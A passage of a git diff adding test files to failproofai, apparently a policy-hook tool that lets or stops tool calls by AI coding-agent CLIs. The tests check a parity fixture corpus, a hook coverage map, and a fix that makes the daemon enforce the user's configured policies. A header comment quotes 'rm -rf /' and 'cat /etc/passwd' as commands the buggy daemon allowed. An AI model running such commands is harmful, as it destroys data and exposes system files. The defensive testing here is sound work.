"src/hooks/types.ts (_EVENT_MAP, _HOOK_EVENT_TYPES, HOOK_EVENT_TYPES, INTEGRATION_TYPES)", + "src/hooks/enforcement-capability.ts (does the vendor honour a decision)", + "crates/generated/enforcement-capability.json (cross-checked against the above)" + ], + "totals": { + "not-registered": 241, + "observe-only": 60, + "reachable": 45, + "registered-unverified": 2 + } +} diff --git a/__tests__/parity/coverage.test.ts b/__tests__/parity/coverage.test.ts new file mode 100644 index 00000000..4b7d2a38 --- /dev/null +++ b/__tests__/parity/coverage.test.ts @@ -0,0 +1,679 @@ +// @vitest-environment node +/** + * Drift gate for the Stage-0 parity corpus and its (cli, event) coverage map. + * + * `__tests__/parity/fixtures/**` is the byte-exact oracle a future Rust + * evaluator is diffed against, and `__tests__/parity/coverage.json` records + * which of the 348 (cli, event) cells failproofai actually installs a hook for + * and whether the vendor honours a decision there. Both are generated: + * + * bun scripts/gen-parity-corpus.mjs + * + * FOUR INDEPENDENT ASSERTIONS, because no one of them is sufficient: + * + * 1. BYTE-EQUALITY. Re-run the generator and diff against the committed + * files. Catches "someone changed policy-evaluator.ts and forgot to + * regenerate" and "someone hand-edited a fixture". Byte-exactness is the + * only assertion that catches a response encoder that is "semantically + * equivalent" and silently allows. + * 2. THE COVERAGE REGRESSION GATE. Recompute every cell's label directly from + * the live constants — deliberately duplicating the generator's derivation + * rather than importing it — and fail when a cell that was `reachable` + * becomes `not-registered`. That is the specific regression this file + * exists to catch: an event silently dropped from an install list turns a + * working gate into nothing, and byte-equality would happily bless the + * regenerated-and-smaller corpus. + * 3. TOTALITY. The map covers INTEGRATION_TYPES × HOOK_EVENT_TYPES exactly. A + * thirteenth CLI or a new event with no classification fails here rather + * than going silently untested. + * 4. STRUCTURE. Stable 2-space JSON, sorted keys, and — the corpus-determinism + * requirement from the Phase 1 plan — not one byte of this machine's home + * directory, cwd or username anywhere in the corpus. + */ +import { describe, it, expect, beforeAll } from "vitest"; +import { createHash } from "node:crypto"; +import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { homedir, userInfo } from "node:os"; +import { join, relative, resolve, sep } from "node:path"; + +import { + COVERAGE_FILENAME, + COVERAGE_LABELS, + DECISION_KINDS, + EXPECTED_FIXTURE_COUNT, + FIXTURES_DIRNAME, + MANIFEST_FILENAME, + POLICY_COUNTS, + REGENERATE_COMMAND, + SCHEMA_VERSION, + SYNTHETIC, + TOOL_PRESENCE, + caseId, + corpusDigest, + fixtureRelPath, + generateAll, +} from "../../scripts/gen-parity-corpus.mjs"; +import * as types from "@/src/hooks/types"; +import { HOOK_EVENT_TYPES, INTEGRATION_TYPES } from "@/src/hooks/types"; +import type { HookEventType, IntegrationType } from "@/src/hooks/types"; +import { ENFORCEMENT_CAPABILITY } from "@/src/hooks/enforcement-capability"; +import { getIntegration } from "@/src/hooks/integrations"; + +const ROOT = process.cwd(); +const PARITY_DIR = resolve(ROOT, "__tests__", "parity"); +const FIXTURES_DIR = join(PARITY_DIR, FIXTURES_DIRNAME); + +interface GeneratedFile { + relPath: string; + contents: string; +} + +const STALE_MESSAGE = + `__tests__/parity/ is out of date with the TypeScript reference implementation.\n` + + `Regenerate with:\n\n ${REGENERATE_COMMAND}\n\n` + + `and commit the result. Do NOT hand-edit a fixture — src/hooks/policy-evaluator.ts is the ` + + `oracle, and a hand-patched fixture silently weakens it.`; + +// ── Committed tree ─────────────────────────────────────────────────────────── + +/** Every file this generator owns, keyed by its path relative to `__tests__/parity`. */ +function readCommittedTree(): Map { + const out = new Map(); + const walk = (dir: string): void => { + for (const entry of readdirSync(dir).sort()) { + const full = join(dir, entry); + if (statSync(full).isDirectory()) walk(full); + else out.set(relative(PARITY_DIR, full).split(sep).join("/"), readFileSync(full, "utf8")); + } + }; + walk(FIXTURES_DIR); + out.set(COVERAGE_FILENAME, readFileSync(join(PARITY_DIR, COVERAGE_FILENAME), "utf8")); + return out; +} + +let fresh: GeneratedFile[]; +let freshByPath: Map; +let committed: Map; + +beforeAll(async () => { + fresh = (await generateAll()) as GeneratedFile[]; + freshByPath = new Map(fresh.map((f) => [f.relPath, f.contents])); + committed = readCommittedTree(); +}, 300_000); + +const coverage = JSON.parse( + readFileSync(join(PARITY_DIR, COVERAGE_FILENAME), "utf8"), +) as CoverageJson; + +interface CoverageJson { + schema_version: number; + generated_by: string; + regenerate_with: string; + description: string; + labels: string[]; + derivation: Record; + notes: string[]; + sources: string[]; + totals: Record; + cells: Record>; + per_cli: Record< + string, + { + capabilities_outside_install_set: string[]; + install_list_source: string; + installed_canonical_events: string[]; + installed_vendor_events: string[]; + totals: Record; + unmapped_vendor_events: string[]; + } + >; +} + +interface ManifestJson { + corpus_sha256: string; + fixture_count: number; + schema_version: number; + regenerate_with: string; + dimensions: { + clis: string[]; + decision_kinds: string[]; + events: string[]; + policy_counts: number[]; + tool_presence: string[]; + }; +} + +const manifest = JSON.parse( + readFileSync(join(FIXTURES_DIR, MANIFEST_FILENAME), "utf8"), +) as ManifestJson; + +// ── The independent derivation (assertion 2) ───────────────────────────────── +// +// Deliberately NOT imported from the generator. Byte-equality would bless a +// generator that derives the wrong thing consistently; this recomputes the same +// answer from the live constants by a separate route, so the two have to agree. + +const CANONICAL_EVENTS = new Set(HOOK_EVENT_TYPES as readonly string[]); +const typeExports = types as unknown as Record; + +/** The canonical events failproofai writes a hook entry for on `cli`. */ +function installedCanonicalEvents(cli: IntegrationType): Set { + const eventMap = typeExports[`${cli.toUpperCase()}_EVENT_MAP`] as + | Record + | undefined; + const out = new Set(); + for (const vendorEvent of getIntegration(cli).eventTypes) { + const canonical = eventMap ? eventMap[vendorEvent] : vendorEvent; + if (canonical && CANONICAL_EVENTS.has(canonical)) out.add(canonical); + } + return out; +} + +function expectedLabel(cli: IntegrationType, event: HookEventType): string { + if (!installedCanonicalEvents(cli).has(event)) return "not-registered"; + const capability = ENFORCEMENT_CAPABILITY[cli]?.[event]; + if (capability === "block") return "reachable"; + if (capability === "observe") return "observe-only"; + return "registered-unverified"; +} + +/** Labels whose cells DO fire a hook, so the encoder runs and the corpus applies. */ +const REGISTERED_LABELS = new Set(["reachable", "observe-only", "registered-unverified"]); + +/** + * Events `ENFORCEMENT_CAPABILITY` labels for `cli` that `installed` does not + * contain — i.e. we claim to know how the vendor treats a verdict on an event + * we never ask it about. + * + * Taken as a parameter rather than reading the install list itself so the test + * below can prove the predicate discriminates. A predicate that always returns + * `[]` would make the assertion that uses it vacuous. + */ +function labelledButNotInstalled(cli: IntegrationType, installed: Set): string[] { + return Object.keys(ENFORCEMENT_CAPABILITY[cli] ?? {}) + .filter((event) => !installed.has(event)) + .sort(); +} + +// ── 1. Byte-equality ───────────────────────────────────────────────────────── + +describe("parity corpus — drift gate", () => { + it("the committed corpus is byte-identical to a fresh generator run", () => { + // Hash first: the happy path then costs one comparison rather than 5,570. + const freshDigest = corpusDigest(fresh); + const committedDigest = corpusDigest( + [...committed.entries()] + .map(([relPath, contents]) => ({ relPath, contents })) + .sort((a, b) => (a.relPath < b.relPath ? -1 : a.relPath > b.relPath ? 1 : 0)), + ); + if (freshDigest === committedDigest) { + expect(committed.size).toBe(fresh.length); + return; + } + + // Digests differ — now find and name the FIRST offending path, in sorted + // order, so the failure points at one file instead of at a hash. + const missing = fresh.filter((f) => !committed.has(f.relPath)).map((f) => f.relPath); + const extra = [...committed.keys()].filter((p) => !freshByPath.has(p)); + const changed = fresh.filter( + (f) => committed.has(f.relPath) && committed.get(f.relPath) !== f.contents, + ); + + const detail: string[] = []; + if (missing.length > 0) detail.push(`${missing.length} missing, first: ${missing[0]}`); + if (extra.length > 0) detail.push(`${extra.length} unexpected, first: ${extra.sort()[0]}`); + if (changed.length > 0) { + const first = changed[0]; + const onDisk = committed.get(first.relPath) ?? ""; + // Show a window around the FIRST differing byte. A fixture is ~1.5 KB and + // its opening lines are identical across the whole corpus, so a leading + // excerpt would show two indistinguishable blobs. + let at = 0; + while (at < first.contents.length && first.contents[at] === onDisk[at]) at += 1; + const from = Math.max(0, at - 60); + detail.push( + `${changed.length} changed, first: ${first.relPath} (diverges at byte ${at})\n\n` + + ` expected: …${JSON.stringify(first.contents.slice(from, at + 120))}\n` + + ` on disk: …${JSON.stringify(onDisk.slice(from, at + 120))}`, + ); + } + throw new Error(`${STALE_MESSAGE}\n\n${detail.join("\n")}`); + }); + + it("the generator is deterministic — two runs produce identical bytes", async () => { + const second = (await generateAll()) as GeneratedFile[]; + expect(second.map((f) => f.relPath)).toEqual(fresh.map((f) => f.relPath)); + expect(corpusDigest(second)).toBe(corpusDigest(fresh)); + }, 300_000); + + it("writes to an arbitrary directory without embedding it", async () => { + // The drift gate is only meaningful if the output does not depend on WHERE + // it is written — otherwise every contributor's tree would differ. + const dir = mkdtempSync(join(tmpdir(), "fpai-parity-")); + try { + const { writeAll } = await import("../../scripts/gen-parity-corpus.mjs"); + await writeAll(dir); + const sample = fixtureRelPath("claude", "PreToolUse", "deny", "tool-present", 1); + expect(readFileSync(join(dir, sample), "utf8")).toBe(freshByPath.get(sample)); + expect(readFileSync(join(dir, COVERAGE_FILENAME), "utf8")).toBe( + committed.get(COVERAGE_FILENAME), + ); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }, 300_000); +}); + +// ── The manifest ───────────────────────────────────────────────────────────── + +describe("parity corpus — manifest", () => { + it("records the count the cross product actually implies", () => { + // Derived from the constants, never written down: a thirteenth CLI or a new + // HookEventType changes this number, and a stale corpus fails above. + expect(EXPECTED_FIXTURE_COUNT).toBe( + INTEGRATION_TYPES.length * + HOOK_EVENT_TYPES.length * + DECISION_KINDS.length * + TOOL_PRESENCE.length * + POLICY_COUNTS.length, + ); + expect(manifest.fixture_count).toBe(EXPECTED_FIXTURE_COUNT); + expect(manifest.schema_version).toBe(SCHEMA_VERSION); + expect(manifest.regenerate_with).toBe(REGENERATE_COMMAND); + expect(REGENERATE_COMMAND).toBe("bun scripts/gen-parity-corpus.mjs"); + }); + + it("declares the same dimensions the constants declare", () => { + expect(manifest.dimensions.clis).toEqual([...INTEGRATION_TYPES]); + expect(manifest.dimensions.events).toEqual([...(HOOK_EVENT_TYPES as readonly string[])]); + expect(manifest.dimensions.decision_kinds).toEqual([...DECISION_KINDS]); + expect(manifest.dimensions.tool_presence).toEqual([...TOOL_PRESENCE]); + expect(manifest.dimensions.policy_counts).toEqual([...POLICY_COUNTS]); + }); + + it("its digest matches the fixtures actually on disk", () => { + // Recomputed from the committed tree, not from the fresh run — so a + // hand-edited fixture plus a hand-edited manifest still fails. + const onDisk = [...committed.entries()] + .filter(([p]) => p.startsWith(`${FIXTURES_DIRNAME}/`) && !p.endsWith(`/${MANIFEST_FILENAME}`)) + .map(([relPath, contents]) => ({ relPath, contents })) + .sort((a, b) => (a.relPath < b.relPath ? -1 : a.relPath > b.relPath ? 1 : 0)); + expect(onDisk).toHaveLength(EXPECTED_FIXTURE_COUNT); + expect(corpusDigest(onDisk)).toBe(manifest.corpus_sha256); + }); +}); + +// ── 3. Totality + vocabulary ───────────────────────────────────────────────── + +describe("coverage map — totality", () => { + it("carries its own provenance", () => { + expect(coverage.schema_version).toBe(SCHEMA_VERSION); + expect(coverage.generated_by).toBe("scripts/gen-parity-corpus.mjs"); + expect(coverage.regenerate_with).toBe(REGENERATE_COMMAND); + expect(coverage.sources.length).toBeGreaterThan(0); + // Every label the file uses must be explained in the file itself. + expect(Object.keys(coverage.derivation).sort()).toEqual([...coverage.labels].sort()); + }); + + it("is total over INTEGRATION_TYPES × HOOK_EVENT_TYPES", () => { + expect(Object.keys(coverage.cells).sort()).toEqual([...INTEGRATION_TYPES].sort()); + for (const cli of INTEGRATION_TYPES) { + expect(Object.keys(coverage.cells[cli]).sort(), `${cli} is missing an event`).toEqual( + [...(HOOK_EVENT_TYPES as readonly string[])].sort(), + ); + } + const cellCount = Object.values(coverage.cells).reduce((n, c) => n + Object.keys(c).length, 0); + expect(cellCount).toBe(INTEGRATION_TYPES.length * HOOK_EVENT_TYPES.length); + }); + + it("uses only the declared label vocabulary", () => { + expect(coverage.labels).toEqual([...COVERAGE_LABELS]); + for (const cli of INTEGRATION_TYPES) { + for (const [event, label] of Object.entries(coverage.cells[cli])) { + expect(coverage.labels, `${cli}/${event} has label ${label}`).toContain(label); + } + } + }); + + it("its totals add up to the cell count", () => { + const counted: Record = Object.fromEntries(coverage.labels.map((l) => [l, 0])); + for (const cli of INTEGRATION_TYPES) { + for (const label of Object.values(coverage.cells[cli])) counted[label] += 1; + } + expect(coverage.totals).toEqual(counted); + expect(Object.values(coverage.totals).reduce((a, b) => a + b, 0)).toBe( + INTEGRATION_TYPES.length * HOOK_EVENT_TYPES.length, + ); + }); + + it("no CLI labels an enforcement capability for an event it installs no hook for", () => { + // Non-empty means enforcement-capability.ts and the install lists disagree — + // a real bug in one of the two, not a table nit. + for (const cli of INTEGRATION_TYPES) { + expect(coverage.per_cli[cli].capabilities_outside_install_set).toEqual([]); + } + }); +}); + +// ── 2. The regression gate ─────────────────────────────────────────────────── + +describe("coverage map — regression gate", () => { + it.each([...INTEGRATION_TYPES])( + "%s: every committed label still matches the live constants", + (cli) => { + for (const event of HOOK_EVENT_TYPES) { + expect( + coverage.cells[cli][event], + `${cli}/${event}: coverage.json says "${coverage.cells[cli][event]}" but the live ` + + `constants say "${expectedLabel(cli, event)}".\n${STALE_MESSAGE}`, + ).toBe(expectedLabel(cli, event)); + } + }, + ); + + it("NO cell recorded as enforcing has stopped being registered", () => { + // THE regression this file exists to catch. An event quietly dropped from an + // install list turns a working gate into nothing at all: the policy still + // evaluates in our tests, the UI still lists it, and no hook ever fires. + const lost: string[] = []; + for (const cli of INTEGRATION_TYPES) { + const installed = installedCanonicalEvents(cli); + for (const event of HOOK_EVENT_TYPES) { + if (REGISTERED_LABELS.has(coverage.cells[cli][event]) && !installed.has(event)) { + lost.push(`${cli}/${event} (was "${coverage.cells[cli][event]}")`); + } + } + } + expect( + lost, + `failproofai no longer installs a hook for ${lost.length} (cli, event) pair(s) that ` + + `__tests__/parity/coverage.json records as covered:\n ${lost.join("\n ")}\n\n` + + `If the hook was removed ON PURPOSE, say so in the PR and regenerate:\n\n` + + ` ${REGENERATE_COMMAND}\n`, + ).toEqual([]); + }); + + it("a regeneration CANNOT hide an event that stopped being installed", () => { + // The previous assertion compares the committed labels against the live + // constants, so it catches a hand-edited coverage.json. It does NOT catch + // the other direction: drop `PreToolUse` from GOOSE_HOOK_EVENT_TYPES, rerun + // the generator, and both sides agree on "not-registered" again. + // + // This one is un-regenerable. ENFORCEMENT_CAPABILITY.goose.PreToolUse === + // "block" is a traced claim that a deny there stops the tool. If the hook is + // no longer installed, that claim is false, and the ONLY way to make this + // pass is to delete the capability row as well — a conscious, reviewable + // edit to a file full of byte offsets and live-probe citations, not a + // regenerated diff nobody reads. + const violations: string[] = []; + for (const cli of INTEGRATION_TYPES) { + for (const event of labelledButNotInstalled(cli, installedCanonicalEvents(cli))) { + violations.push(`${cli}/${event} is labelled "${ENFORCEMENT_CAPABILITY[cli]?.[event as HookEventType]}"`); + } + } + expect( + violations, + `src/hooks/enforcement-capability.ts states how the vendor treats a verdict on ` + + `${violations.length} (cli, event) pair(s) failproofai installs no hook for:\n ` + + `${violations.join("\n ")}\n\n` + + `Either the event was dropped from an install list by mistake, or the capability row ` + + `is stale. Fix one of the two — do not regenerate around it.`, + ).toEqual([]); + }); + + it("that gate is not vacuous — the predicate really discriminates", () => { + // Feed the predicate an empty install set: it must report every labelled + // event. If it returned [] here, the assertion above would pass forever. + const goose = labelledButNotInstalled("goose", new Set()); + expect(goose).toContain("PreToolUse"); + expect(goose).toEqual(Object.keys(ENFORCEMENT_CAPABILITY.goose).sort()); + expect(goose.length).toBeGreaterThan(0); + }); + + it("per-CLI install lists match what the integration actually writes", () => { + for (const cli of INTEGRATION_TYPES) { + expect(coverage.per_cli[cli].installed_vendor_events).toEqual( + [...getIntegration(cli).eventTypes].sort(), + ); + expect(coverage.per_cli[cli].installed_canonical_events).toEqual( + [...installedCanonicalEvents(cli)].sort(), + ); + } + }); + + it("agrees with crates/generated/enforcement-capability.json", () => { + // The coverage labels are derived from ENFORCEMENT_CAPABILITY; the Rust + // adapter descriptor reads the generated JSON. If those two ever diverge, + // the daemon would enforce against a table this map never saw. + const generated = JSON.parse( + readFileSync(resolve(ROOT, "crates", "generated", "enforcement-capability.json"), "utf8"), + ) as { clis: Record }> }; + for (const cli of INTEGRATION_TYPES) { + expect(generated.clis[cli].capabilities).toEqual(ENFORCEMENT_CAPABILITY[cli]); + for (const [event, capability] of Object.entries(generated.clis[cli].capabilities)) { + if (!installedCanonicalEvents(cli).has(event)) continue; + expect(coverage.cells[cli][event]).toBe( + capability === "block" ? "reachable" : "observe-only", + ); + } + } + }); +}); + +// ── Corpus coverage of the map ─────────────────────────────────────────────── + +describe("coverage map — the corpus covers it", () => { + const ALL_CASES = DECISION_KINDS.flatMap((decision: string) => + TOOL_PRESENCE.flatMap((tool: string) => + POLICY_COUNTS.map((count: number) => ({ decision, tool, count })), + ), + ); + + it("has a fixture for every cell that fires a hook", () => { + const gaps: string[] = []; + for (const cli of INTEGRATION_TYPES) { + for (const event of HOOK_EVENT_TYPES) { + if (!REGISTERED_LABELS.has(coverage.cells[cli][event])) continue; + for (const { decision, tool, count } of ALL_CASES) { + const relPath = fixtureRelPath(cli, event, decision, tool, count); + if (!committed.has(relPath)) gaps.push(relPath); + } + } + } + expect( + gaps, + `${gaps.length} covered (cli, event) case(s) have no fixture. Regenerate:\n\n` + + ` ${REGENERATE_COMMAND}\n\nFirst: ${gaps[0]}`, + ).toEqual([]); + }); + + it("has a fixture for EVERY cell, covered or not", () => { + // The encoder is total over HookEventType, so a reimplementation must match + // on the not-registered cells too — cheap insurance against a CLI gaining an + // event later and inheriting an untested branch. + let expected = 0; + for (const cli of INTEGRATION_TYPES) { + for (const event of HOOK_EVENT_TYPES) { + for (const { decision, tool, count } of ALL_CASES) { + expect(committed.has(fixtureRelPath(cli, event, decision, tool, count))).toBe(true); + expected += 1; + } + } + } + expect(expected).toBe(EXPECTED_FIXTURE_COUNT); + expect(ALL_CASES).toHaveLength( + DECISION_KINDS.length * TOOL_PRESENCE.length * POLICY_COUNTS.length, + ); + }); + + it("names every case file after the dimensions it varies", () => { + for (const { decision, tool, count } of ALL_CASES) { + const id = caseId(decision, tool, count); + expect(id).toContain(decision); + expect(id).toContain(tool); + expect(fixtureRelPath("claude", "Stop", decision, tool, count)).toBe( + `${FIXTURES_DIRNAME}/claude/Stop/${id}.json`, + ); + } + }); +}); + +// ── 4. Structure and determinism of the committed bytes ────────────────────── + +describe("parity corpus — committed bytes", () => { + /** This machine's fingerprints. Short values are dropped: a two-character + * username would match by coincidence and teach people to ignore the gate. */ + const NEEDLES: Array<[string, string]> = ( + [ + ["os.homedir()", homedir()], + ["process.cwd()", process.cwd()], + ["os.userInfo().username", userInfo().username], + ] as Array<[string, string]> + ).filter(([, v]) => typeof v === "string" && v.length >= 4); + + it("contains nothing machine-specific", () => { + // The Phase 1 plan's "Corpus determinism" risk in one assertion: a corpus + // carrying a developer's home directory is worthless the moment anyone else + // regenerates it, and the failure would look like an unrelated diff. + for (const [relPath, contents] of committed) { + for (const [label, needle] of NEEDLES) { + expect( + contents.includes(needle), + `${relPath} contains this machine's ${label} (${JSON.stringify(needle)})`, + ).toBe(false); + } + expect(/\d{4}-\d{2}-\d{2}T\d{2}:\d{2}/.test(contents), `${relPath} contains a timestamp`).toBe( + false, + ); + } + }); + + it("uses the synthetic constants and only those", () => { + const sample = JSON.parse( + committed.get(fixtureRelPath("codex", "PreToolUse", "deny", "tool-present", 2)) ?? "{}", + ) as { input: { session: Record; payload: Record } }; + expect(sample.input.session.home).toBe(SYNTHETIC.home); + expect(sample.input.session.cwd).toBe(SYNTHETIC.cwd); + expect(sample.input.session.sessionId).toBe(SYNTHETIC.sessionId); + expect(sample.input.payload.tool_name).toBe(SYNTHETIC.toolName); + }); + + it("is stable 2-space JSON with sorted keys and a trailing newline", () => { + const walk = (value: unknown, path: string): void => { + if (Array.isArray(value)) { + value.forEach((item, i) => walk(item, `${path}[${i}]`)); + return; + } + if (value && typeof value === "object") { + const keys = Object.keys(value as Record); + expect(keys, `${path} keys are not sorted`).toEqual([...keys].sort()); + for (const key of keys) walk((value as Record)[key], `${path}.${key}`); + } + }; + for (const [relPath, raw] of committed) { + expect(raw.endsWith("}\n"), `${relPath} must end with a trailing newline`).toBe(true); + expect(raw.includes("\t"), `${relPath} must not contain a literal tab`).toBe(false); + const parsed: unknown = JSON.parse(raw); + expect(raw, `${relPath} is not stable 2-space JSON`).toBe( + `${JSON.stringify(parsed, null, 2)}\n`, + ); + walk(parsed, relPath); + } + }); + + it("every fixture records both the input and the captured wire bytes", () => { + const OUTPUT_KEYS = [ + "decision", + "exitCode", + "policyName", + "policyNames", + "reason", + "stderr", + "stdout", + ]; + for (const [relPath, raw] of committed) { + if (!relPath.startsWith(`${FIXTURES_DIRNAME}/`)) continue; + if (relPath.endsWith(`/${MANIFEST_FILENAME}`)) continue; + const fixture = JSON.parse(raw) as { + case: string; + cli: string; + decision_kind: string; + event: string; + policy_count: number; + tool: string; + input: { event_type: string; payload: Record; policies: unknown[] }; + output: Record; + }; + const [, cli, event, file] = relPath.split("/"); + expect(fixture.cli).toBe(cli); + expect(fixture.event).toBe(event); + expect(fixture.input.event_type).toBe(event); + expect(`${fixture.case}.json`).toBe(file); + expect(fixture.input.policies).toHaveLength(fixture.policy_count); + expect(Object.keys(fixture.output).sort()).toEqual(OUTPUT_KEYS); + // A `tool-absent` payload must genuinely have no tool, or the deny-noun + // branch under test is not the one being exercised. + expect("tool_name" in fixture.input.payload).toBe(fixture.tool === "tool-present"); + expect([0, 2]).toContain(fixture.output.exitCode); + } + }); + + it("actually exercises the JSON-escaping cases byte-exactness exists for", () => { + // If the synthetic reasons ever lose their escape stress, this corpus stops + // catching the single most likely Rust/JS divergence and nobody notices. + const stdout = JSON.parse( + committed.get(fixtureRelPath("claude", "PreToolUse", "deny", "tool-present", 1)) ?? "{}", + ) as { output: { stdout: string } }; + expect(stdout.output.stdout).toContain('\\"'); + expect(stdout.output.stdout).toContain("\\\\"); + expect(stdout.output.stdout).toContain("\\n"); + expect(stdout.output.stdout).toContain("\\t"); + expect(stdout.output.stdout).toContain("/s/"); + expect(stdout.output.stdout).toContain("&a"); + expect(stdout.output.stdout).toContain("é"); + expect(stdout.output.stdout).toContain("𝄞"); + }); +}); + +// ── A last sanity check on the gate itself ─────────────────────────────────── + +describe("parity corpus — the gate is not vacuous", () => { + it("a single flipped byte in a fixture changes the corpus digest", () => { + const relPath = fixtureRelPath("cursor", "PreToolUse", "deny", "tool-present", 1); + const original = committed.get(relPath); + expect(original).toBeDefined(); + const mutated = [...committed.entries()] + .map(([p, c]) => ({ relPath: p, contents: p === relPath ? c.replace("deny", "denyX") : c })) + .sort((a, b) => (a.relPath < b.relPath ? -1 : a.relPath > b.relPath ? 1 : 0)); + expect(corpusDigest(mutated)).not.toBe(manifest.corpus_sha256); + }); + + it("a flipped coverage label disagrees with the live derivation", () => { + // The mirror image of the regression gate: prove the recomputation can tell + // the labels apart, so `expectedLabel` is not accidentally constant. + const distinct = new Set(); + for (const cli of INTEGRATION_TYPES) { + for (const event of HOOK_EVENT_TYPES) distinct.add(expectedLabel(cli, event)); + } + expect(distinct.size).toBeGreaterThan(1); + expect(distinct.has("reachable")).toBe(true); + expect(distinct.has("not-registered")).toBe(true); + + const claudePreToolUse = expectedLabel("claude", "PreToolUse"); + expect(claudePreToolUse).toBe("reachable"); + expect(claudePreToolUse).not.toBe("not-registered"); + // claude installs every event EXCEPT WorktreeCreate (Claude uses it as a + // worktree-PATH PROVIDER, not a gate), so this pair is the one cell where + // "registered" and "the CLI has the event" genuinely differ. + expect(expectedLabel("claude", "WorktreeCreate")).toBe("not-registered"); + }); + + it("the corpus digest is a real hash of real content", () => { + const one = corpusDigest([{ relPath: "a", contents: "b" }]); + const two = corpusDigest([{ relPath: "a", contents: "c" }]); + expect(one).not.toBe(two); + expect(one).toHaveLength(64); + expect(one).toBe(createHash("sha256").update("a").update("\n").update("b").digest("hex")); + }); +}); diff --git a/__tests__/parity/daemon-default-policies.test.ts b/__tests__/parity/daemon-default-policies.test.ts new file mode 100644 index 00000000..217cb51b --- /dev/null +++ b/__tests__/parity/daemon-default-policies.test.ts @@ -0,0 +1,147 @@ +/** + * The daemon must never enforce a policy set the user did not configure. + * + * This started as a drift tripwire over a `DEFAULT_SEALED_POLICIES` constant + * hardcoded in `crates/failproofaid/src/server.rs`. That constant is gone, and + * this file now asserts the property that made it necessary — which is the + * better outcome: the duplication was removed rather than tested. + * + * ## The defect this exists to prevent + * + * The daemon used to supply its own enabled set (the 11 `defaultEnabled` + * builtins) and evaluate that, ignoring what the client had resolved from the + * user's merged configuration. Reproduced against this repo's own + * `.failproofai/policies-config.json`, which enables 30 policies: + * + * ``` + * rm -rf / daemon: allow legacy: deny (failproofai/block-rm-rf) + * cat /etc/passwd daemon: allow legacy: deny (failproofai/block-read-outside-cwd) + * ``` + * + * 19 of 30 enabled builtins, plus 100% of custom and convention policies, + * stopped enforcing the moment the daemon answered. The documented safety net + * could not fire: the sealed worker computes `needsUserContext` by partitioning + * the list *it was handed*, and a daemon-supplied list is all-sealed by + * construction, so it was always empty and the client never fell back. + * + * ## What is asserted now + * + * Three independent things, because the fix has three moving parts and any one + * of them regressing restores the silent drop: + * + * 1. The Rust side no longer carries its own policy list at all. + * 2. The client sends its resolved set, and refuses to call the daemon with an + * empty one — a caller that forgot would otherwise get a confident `allow` + * built from evaluating nothing. + * 3. The handler skips the daemon outright when custom policies are configured, + * since those can never be sealed-eligible. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import { resolve as resolvePath } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { PAYLOAD_ONLY_POLICIES } from "../../src/hooks/builtin/payload-only"; + +const REPO_ROOT = resolvePath(__dirname, "..", ".."); +const SERVER_RS = resolvePath(REPO_ROOT, "crates/failproofaid/src/server.rs"); +const DAEMON_CLIENT = resolvePath(REPO_ROOT, "src/hooks/daemon-client.ts"); +const HANDLER = resolvePath(REPO_ROOT, "src/hooks/handler.ts"); + +describe("the daemon evaluates the client's policy set, not its own", () => { + const available = existsSync(SERVER_RS); + + it("server.rs exists (otherwise everything below is vacuous)", () => { + expect(available, `${SERVER_RS} is missing`).toBe(true); + }); + + it("the daemon carries no policy list of its own", () => { + if (!available) return; + const source = readFileSync(SERVER_RS, "utf8"); + // A reintroduced hardcoded list is the exact regression. If one is ever + // genuinely needed, it must come from generated data with a drift gate — + // not from a literal that silently diverges from `BUILTIN_POLICIES`. + expect(source).not.toMatch(/DEFAULT_SEALED_POLICIES/); + expect(source).toContain('"config": { "enabledPolicies": hook.enabled_policies }'); + }); + + it("the daemon refuses a request that carries no enabled policies", () => { + if (!available) return; + // Backfilling defaults here would re-create the defect in one line, and + // treating it as "enforce nothing" would turn a client bug into a silent + // allow. Refusal is the only safe reading. + expect(readFileSync(SERVER_RS, "utf8")).toContain("hook.enabled_policies.is_empty()"); + }); + + it("the client sends its resolved set and will not call the daemon without one", () => { + const source = readFileSync(DAEMON_CLIENT, "utf8"); + expect(source).toContain("enabled_policies: [...enabledPolicies]"); + expect(source).toContain("if (enabledPolicies.length === 0) return null;"); + }); + + it("the handler reads config before the daemon call, not after", () => { + // Ordering is the fix. If `readMergedHooksConfig` moves back below + // `tryDaemonEvaluate`, the client has nothing to send and the daemon is + // back to inventing a set. + const source = readFileSync(HANDLER, "utf8"); + const configAt = source.indexOf("readMergedHooksConfig(session.cwd)"); + const daemonAt = source.indexOf("tryDaemonEvaluate("); + expect(configAt).toBeGreaterThan(-1); + expect(daemonAt).toBeGreaterThan(-1); + expect(configAt).toBeLessThan(daemonAt); + }); + + it("the handler consults the gate before deciding the daemon can answer", () => { + // Deliberately NOT a grep for the gate's variable names. The previous + // version of this test asserted `source.toContain("hasCustomPolicies")` + // and a regex on the ternary — which told us a symbol existed and nothing + // about what it covered. It passed while the gate checked configuration + // keys only, so a convention policy in `.failproofai/policies/` silently + // stopped enforcing the moment the daemon answered. The file's own header + // says it exists to prevent exactly that. + // + // The behavioural coverage lives in `handler-gate.test.ts`, which drives + // the real filesystem. What is left here is the structural half that a + // behavioural test cannot see: that the handler asks the gate at all. + const source = readFileSync(HANDLER, "utf8"); + expect(source).toContain("hasConventionPolicyFiles(session.cwd)"); + expect(source).toMatch(/daemonCanAnswer\s*$|daemonCanAnswer\s*\n?\s*\?/m); + }); + + it("the gate covers every policy source the sealed tier cannot run", () => { + // The three that must send an event down the legacy path, each learned the + // hard way: + // • explicit custom policy files — never sealed-eligible + // • convention policy files — invisible to any config-key check + // • policyParams — not on the wire, so the daemon would + // evaluate with schema defaults and + // both under- and over-block + const source = readFileSync(HANDLER, "utf8"); + for (const clause of ["explicitCustomPolicies", "conventionPolicies", "hasPolicyParams"]) { + expect(source, `the daemon gate no longer accounts for ${clause}`).toContain(clause); + } + expect(source).toMatch( + /daemonCanAnswer\s*=\s*!explicitCustomPolicies\s*&&\s*!conventionPolicies\s*&&\s*!hasPolicyParams/, + ); + }); +}); + +describe("sealed eligibility is still a strict subset", () => { + it("every default-enabled builtin the sealed tier claims is genuinely payload-only", () => { + // Not a statement about the daemon's list (there isn't one) but about the + // tier itself: if a host-access policy ever became default-enabled AND + // sealed-eligible, the sealed worker would try to spawn `git`. + const sealed = new Set(PAYLOAD_ONLY_POLICIES.map((p) => p.name)); + const defaultEnabled = BUILTIN_POLICIES.filter((p) => 